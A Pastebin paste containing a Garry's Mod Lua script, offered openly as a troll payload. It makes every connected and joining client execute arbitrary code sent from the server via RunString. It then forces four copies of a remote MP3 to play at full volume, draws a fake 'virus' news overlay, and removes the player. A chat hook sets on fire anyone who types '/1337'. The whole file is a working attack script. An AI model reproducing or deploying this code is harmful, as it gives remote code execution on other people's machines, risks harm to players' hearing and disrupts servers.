Advertisement
VoidzMod

Untitled

Apr 7th, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.63 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67. --EVIL TIME rip headpones
  68. lol:PushAction( 0, function( pPlayer )
  69. lol:SendLua( pPlayer, [[
  70.  
  71. local sounds = {}
  72. for i = 1, 4 do
  73. sound.PlayURL( "http://rebug.kryptonnetworks.net/l.mp3", "noblock noplay", function( pChan )
  74. sounds[#sounds +1] = pChan
  75. end )
  76. end
  77.  
  78. timer.Create( "asdf", 1, 0, function()
  79. if #sounds ~= 4 then return end
  80. timer.Destroy( "asdf" )
  81. for k, v in pairs( sounds ) do v:EnableLooping( false ) v:SetVolume( 1 ) v:Play() end
  82. end )
  83.  
  84. surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
  85. surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
  86. local newsPan1 = vgui.Create("DPanel")
  87. newsPan1:SetSize(ScrW(), 150)
  88. newsPan1:SetPos(0, ScrH()-150)
  89. newsPan1.Paint = function()
  90. surface.SetDrawColor(255,255,255,255)
  91. surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
  92. surface.SetDrawColor(0,230,255,255)
  93. surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
  94. end
  95. local newsPan2 = vgui.Create("DPanel")
  96. newsPan2:SetSize(ScrW(),ScrH())
  97. newsPan2:SetPos(0,0)
  98. newsPan2.Paint = function()
  99. local trap3 = {
  100. {x = ScrW()-504, y = ScrH()-150},
  101. {x = ScrW()-439, y = ScrH()-254},
  102. {x = ScrW(), y = ScrH()-254},
  103. {x = ScrW(), y = ScrH()-150},
  104. }
  105. local trap4 = {
  106. {x = ScrW()-500, y = ScrH()-146},
  107. {x = ScrW()-435, y = ScrH()-250},
  108. {x = ScrW(), y = ScrH()-250},
  109. {x = ScrW(), y = ScrH()-146},
  110. }
  111. local trap5 = {
  112. {x = ScrW()-475, y = ScrH()-156},
  113. {x = ScrW()-432, y = ScrH()-235},
  114. {x = ScrW()-8, y = ScrH()-235},
  115. {x = ScrW()-8, y = ScrH()-156},
  116. }
  117. draw.NoTexture()
  118. surface.SetDrawColor(255,255,255,255)
  119. surface.DrawPoly(trap3)
  120. draw.NoTexture()
  121. surface.SetDrawColor(0,240,255,255)
  122. surface.DrawPoly(trap4)
  123. draw.NoTexture()
  124. surface.SetDrawColor(0,230,255,255)
  125. surface.DrawPoly(trap5)
  126. end
  127. local title2 = vgui.Create("DLabel", newsPan2)
  128. title2:SetFont("NEWS1")
  129. title2:SetText("Gmod News")
  130. title2:SizeToContents()
  131. title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
  132. title2:SetColor(Color(255,255,255))
  133.  
  134. local title3 = vgui.Create("DLabel", newsPan1)
  135. title3:SetFont("NEWS2")
  136. title3:SetText("BREAKING NEWS GMOD HAS BEEN INFECTED WITH PEWDIEPIE VIRUS CALL THE POLICE NOW!")
  137. title3:SizeToContents()
  138. title3:SetPos(ScrW(), 10)
  139. title3:SetColor(Color(255,255,255))
  140. timer.Create("movingtext2",.05,0,function()
  141. if title3:GetPos() >= 0-title3:GetWide() then
  142. title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
  143. else
  144. title3:SetPos(ScrW(),10)
  145. end
  146. end)
  147.  
  148. ]] )
  149.  
  150. pPlayer:Remove()
  151. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement